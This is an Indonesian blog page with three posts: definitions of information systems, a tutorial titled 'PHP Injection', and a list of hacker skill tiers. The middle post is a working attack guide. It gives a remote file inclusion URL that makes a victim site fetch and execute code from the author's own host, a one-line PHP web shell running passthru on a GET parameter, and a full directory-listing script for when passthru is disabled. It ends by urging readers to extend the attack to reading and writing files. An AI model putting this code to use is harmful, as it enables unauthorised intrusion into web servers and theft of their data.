Pengertian Sistem Informasi Menurut Para Ahli - Sistem informasi adalah sistem di dalam suatu organisasi yang mempertemukan kebutuhan pengolahan transaksi harian, membantu dan mendukung kegiatan operasi, bersifat manajerial dari suatu organisasi dan membantu mempermudah penyediaan laporan yang diperlukan. (Erwan Arbie, 2000, 35).
Sistem informasi adalah data yang dikumpulkan, dikelompokkan dan diolah sedemikian rupa sehingga menjadi sebuah satu kesatuan informasi yang saling terkait dan saling mendukung sehingga menjadi suatu informasi yang berharga bagi yang menerimanya. (Tafri D. Muhyuzir, 2001, 8).
Menurut O’Brien (2005, p5),  sistem  informasi   adalah   suatu   kombinasi terartur apapun dari people (orang), hardware (perangkat keras), software (piranti lunak), computer networks and data communications (jaringan komunikasi), dan database (basis data) yang mengumpulkan, mengubah dan menyebarkan informasi di dalam suatu bentuk organisasi. Untuk lebih jelasnya dapat dilihat pada gambar 2.1 tentang komponen sistem informasi.   
Gambar Komponen Sistem Informasi.   


Leitch Rosses (dalam Jugiyanto, 2005 : 11) mengemukakan sistem informasi adalah suatu sistem didalam organisasi yang mempertemukan kebutuhan pengelolah transaksi harian, mendukung operasi, bersifat manajerial dan kegiatan strategi dari suatu organisasi dan menyediakan pihak luar tertentu dengan laporan-laporan yang diperlukan.
Menurut Lani Sidharta (1995: 11), “Sebuah sistem informasi adalah sistem buatan manusia yang berisi himpunan terintegrasi dari komponen – komponen manual dan komponen – komponen terkomputerisasi yang bertujuan untuk mengumpulkan data, memproses data, dan menghasilkan informasi untuk pemakai”
Sistem informasi didefinisikan Robert A. Leitch dan K. Roscoe Davis dalam buku Jogiyanto HM., (1999: 11), “Sistem informasi adalah suatu sistem di dalam suatu organisasi yang mempertemukan kebutuhan pengolahan transaksi harian, mendukung operasi, bersifat manajerial dan kegiatan strategi dari suatu organisasi dan menyediakan pihak luar tertentu dengan laporan-laporan yang diperlukan.”
Menurut Gordon B. Davis (1991: 91), “Sistem informasi adalah suatu sistem yang menerima masukan data dan instruksi, mengolah data tersebut sesuai dengan instruksi dan mengeluarkan hasilnya.”


Suatu sistem informasi pada dasarnya terbentuk melalui suatu kelompok kegiatan operasi yang tetap, yaitu:
  1. Mengumpulkan data
  2. Mengelompokkan data
  3. Menghitung
  4. Menganalisa
  5. Menyajikan laporan
Sasaran sistem informasi adalah:
  • Meningkatkan penyelesaian tugas.
    • Pemakai harus lebih produktif agar menghasilkan keluaran yang memiliki mutu yang tinggi.
  • Meningkatkan efektifitas secara keseluruhan.
    • Sistem harus mudah dan sering digunakan.
  • Meningkatkan efektifitas ekonomi.
    • Keuntungan yang diperoleh dari sistem harus lebih besar dari biaya yang dikeluarkan.
Sistem informasi dapat diartikan sebagai sebuah sistem yang terintegrasi secara optimal dan berbasis komputer yang dapat menghimpun dan menyajikan berbagai jenis data yang akurat untuk berbagai macam kebutuhan.


0 comments:

PHP Injection (Materi Seminar ICT)



Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang
sering dipergunakan dalam aksi 'php injection' adalah 'ls -al' untuk melihat
isi direktori.

Seperti misalnya:
    http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt&?cmd=ls -al

dimana isi dari http://www.situsku.com/cmd.txt adalah

    // begin of cmd.txt
    <?passthru($_GET[cmd]);?>
    // end of cmd.txt

Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya
menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari
passthru di'disable' oleh sang admin. Tentunya hal ini dilakukan oleh sang
admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat
script untuk melihat isi direktori.

Berikut script yang penulis modifikasi dari php manual:

// begining of list.txt
<?php

function lookdir($mydirectory) {
$strdir = array();
chdir($mydirectory);
echo "<br><br>Directory of $mydirectory ";
if($handle = opendir($mydirectory)) {
   while (false !== ($file = readdir($handle))) {

    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) {
           // Socket
       $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
           // Symbolic Link
       $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
       // Regular
       $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
       // Block special
       $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
       // Directory
      $info = 'd';
      if ($file != ".") {
        if ($file != "..") {
           $strdir[] = $mydirectory . $file;//preg_replace('/\/./','/',$file);
        }  
      }
      //return $strdir;
    } elseif (($perms & 0x2000) == 0x2000) {
      // Character special
      $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
      // FIFO pipe
      $info = 'p';
    } else {
      // Unknown
      $info = 'u';
    }


    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));


    $array_file_owner = posix_getpwuid(fileowner($file));
    $array_file_group = posix_getgrgid(filegroup($file));
   
    $info .= " " . $array_file_owner['name'] . " ";
    $info .= $array_file_group['name'] . " ";
    $info .= filesize($file) . " ";
    $info .= date("M d Y",filemtime($file)) . " ";
    $info .= $file;

    echo "<br> $info";
       }
   closedir($handle);
}
return $strdir;
} // end of function lookdir

$my_working_directory = getcwd();
lookdir($my_working_directory); // atau coba juga lookdir(".");

?>
// end of list.txt


Saat kita coba inject dengan menggunakan list.txt, misalnya:

    http://www.korban.com/index.php?page=http://www.situsku.com/list.txt

akan menghasilkan isi direktori berikut permissionnya.

Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa
tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan
menulis/membuat sebuah file.

Silahkan dikembangkan.

Sumber : X-code Pustaka - Magazine



0 comments:

Tingkatan Hacker (Materi Seminar ICT)

Hacker  

1. Elite
      Juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistemoperasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil,menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa di ketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.

2. Semi Elite
      Hacker ini biasanya lebih mudadaripada Elite.Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecilprogram cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh Hacker kaliber ini, sialnya oleh para Elite mereka sering kali di kategorikan Lamer.

3. Developed Kiddie
       Sebutan ini terutamakarena umur kelompok ini masih muda (ABG)&masih sekolah. Mereka membaca tentang metoda hacking & caranya di berbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya.Umumnya mereka masih menggunakan Grafik UserInterface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.

4. Script Kiddie:
        Seperti developed kiddie, Script Kiddie biasanya melakukan aktifitas di atas. Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Biasanya tidak lepas dari GUI. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.

5. Lamer:
      Mereka adalah orang tanpa pengalaman & pengetahuan yang ingin menjadi Hacker (wanna-be Hacker). Mereka biasanya membaca atau mendengar tentang Hacker & ingin seperti itu. Penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS. Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja.

sumber: http://unikboss.blogspot.com/2010/11/5-tingkatan-dalam-dunia-hacker.html


0 comments: